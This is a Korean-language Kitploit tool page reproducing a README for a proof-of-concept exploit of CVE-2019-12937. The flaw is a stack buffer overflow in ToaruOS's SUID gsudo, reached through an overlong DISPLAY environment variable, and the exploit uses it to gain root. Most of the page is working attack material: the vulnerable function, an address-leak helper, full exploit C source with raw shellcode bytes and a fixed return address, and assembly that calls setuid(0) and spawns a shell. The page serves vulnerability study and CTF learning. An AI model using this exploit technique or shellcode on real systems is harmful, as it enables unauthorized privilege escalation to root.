Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-12937-ToaruOS — CVE-2019-12937에 대한 개념 증명 익스플로잇으로, ToaruOS의 gsudo SUID 바이너리에서 버퍼 오버플로우를 통해 조작된 DISPLAY 환경 변수를 이용하여 로컬 권한 상승을 root로 수행합니다. | Kitploit
도구/GitHubGitHub/akashicyitai/cve-2019-12937-toaruos
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubakashicyitai/cve-2019-12937-toaruos

CVE-2019-12937-ToaruOS

CVE-2019-12937에 대한 개념 증명 익스플로잇으로, ToaruOS의 gsudo SUID 바이너리에서 버퍼 오버플로우를 통해 조작된 DISPLAY 환경 변수를 이용하여 로컬 권한 상승을 root로 수행합니다.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-12937

ToaruOS는 C 언어로 작성된 오픈 소스 컴퓨터 운영체제로, 일리노이 대학교에서 컴퓨터 과학을 전공하는 학부생이 개발한 취미용 운영체제입니다. ToAruOS는 POSIX 및 x86 아키텍처에서 실행됩니다. ToAruOS의 주요 기능으로는 프로세스 및 스레드 지원, ELF 바이너리 지원, 런타임 모듈 로딩, 파이프(Pipe) 및 다양한 유형의 터미널 장치(TTY) 지원, 가상 파일 시스템 지원, EXT2 파일 시스템 지원, 세마포어 지원 등이 있습니다.

ToaruOS 1.10.9 및 이전 버전의 gsudo에 있는 apps/gsudo.c 파일에 버퍼 오버플로우 취약점이 존재합니다. 공격자는 DISPLAY 환경 변수를 이용하여 이 취약점을 통해 권한을 root로 상승시킬 수 있습니다.

ToaruOS 1.10.9 프로젝트 링크

공격 방식

poc.c 파일을 ToaruOS 시스템에 복사하고, 복사한 디렉토리에서 다음을 실행합니다.

root@kitploit:~
gcc -o poc poc.c
./poc

취약점 트리거 위치

pex_connect 함수에서 sprintf를 사용하여 문자열을 연결하지만, 매개변수 target의 길이를 검사하지 않아 target이 너무 길면 스택 오버플로우가 발생합니다.

root@kitploit:~
FILE * pex_connect(char * target) {
    char tmp[100];
    sprintf(tmp, "/dev/pex/%s", target);
    FILE * out = fopen(tmp, "r+");
    if (out) {
        setbuf(out, NULL);
    }
    return out;
}

여기서 매개변수 target은 환경 변수 DISPLAY의 값입니다.

root@kitploit:~
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
    server_name = "compositor";
}
FILE * c = pex_connect(server_name);

if (!c) {
    return NULL; /* Connection failed. */
}
......
......
}

gsudo 프로그램은 yutani_init 함수를 호출합니다. gsudo는 SUID 권한이 설정된 프로그램이므로, 실행 시 권한은 root이며, 위의 오버플로우를 이용하여 권한 상승이 가능합니다.

root@kitploit:~
int main(int argc, char ** argv) {

    if (argc < 2) {
            return 1;
    }

    yctx = yutani_init();
....
....
}

SUID

SUID 프로그램은 s와 t 권한을 생성하여, 일반 사용자가 특정 프로그램을 실행할 때 해당 프로그램 소유자의 권한을 임시로 가질 수 있도록 합니다.

아래는 SUID 프로그램 실행 과정을 테스트한 것입니다.

root@kitploit:~
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
	int res;
	res = setuid(0);
	printf("%d\n",res);
	system("/bin/sh");
}

setuid 함수는 현재 사용자의 ID를 설정하며, 매개변수가 0이면 현재 프로세스를 root로 설정합니다. setuid 호출 후 셸 프로그램을 실행하여 현재 사용자를 확인합니다.

root@kitploit:~
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic: 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid 
0
# whoami
root
# exit

ToaruOS에서 운영체제가 부팅된 후, 모든 프로그램은 fork를 통해 exec_elf를 실행하여 로드되며, 프로그램의 권한은 부모 프로세스의 권한입니다. 프로그램에 setuid 권한이 설정된 경우, 프로세스 권한은 해당 파일 소유자의 권한으로 설정됩니다.

취약점 활용

이번 오버플로우는 SUID 권한이 설정된 프로그램에서 발생하므로, 스택 오버플로우를 이용하여 권한 상승 작업을 수행할 수 있습니다.

ToaruOS에는 스택 랜덤화, 힙 랜덤화, 스택 실행 방지 등의 보호 메커니즘이 없어 활용이 매우 간단하지만, gdb와 같은 디버깅 도구도 없어 약간의 노력이 필요합니다.

스택 오버플로우 취약점을 통해 eip를 우리의 권한 상승 페이로드 주소로 제어합니다. 스택에서 코드를 실행할 수 있고, 스택 주소는 고정되어 있습니다. environ 변수를 사용하여 페이로드를 스택에 배치합니다. argv와 environ의 주소를 직접 출력합니다.

root@kitploit:~
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
	printf("argv:%x\t\t\n",argv);
	printf("environ:%x\t\n",env);
	return 0;
}

결과

root@kitploit:~
argv:		3f00c00c
environ:	3f022010

환경 변수의 값을 설정하고, eip 값을 argv와 environ 사이로 제어하며, eip 주소에 \x00 문자가 포함되지 않도록 Nop 명령어를 채워 우회합니다.

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define EIP          "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U

char shellcode[] = {
  0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
  0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
  0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
  0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
  0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;

int main(void)
{
	char payload[65536];
	char vector[8192]   = "DISPLAY=Akashic";
	char * const arg[3] = { "/bin/gsudo", "meh", NULL };
	char * const env[3] = { payload, vector, NULL };

	memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
	payload[sizeof(payload) - shellcode_length - 1] = 0;
	strcat(payload, shellcode);

	for (unsigned int i = 0; i < EIP_DISTANCE; i++)
		strcat(vector, EIP);

	execve("/bin/gsudo", arg, env);

	perror("execve()");
	exit(EXIT_FAILURE);
}

payload

payload는 먼저 setuid(0)를 실행하여 현재 프로세스 권한을 설정한 후, system(/bin/shh)를 실행하여 셸을 반환합니다. toaruOS는 int 0x7f를 통해 시스템 함수를 호출하며, syscall_nums.h에 시스템 호출 번호가 정의되어 있습니다. setuid는 24, system은 7에 해당합니다.

root@kitploit:~
    xor eax, eax
    add al, 24
    xor ebx, ebx
    int 0x7f
    jmp short end
start:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    add al, 7
    lea ecx, [ebx+8]
    lea edx, [ebx+12]
    int 0x7f
    xor eax, eax
    int 0x7f
end:
    call start
db "/bin/shh"
db "XXXXXXXX"
도구 다운로드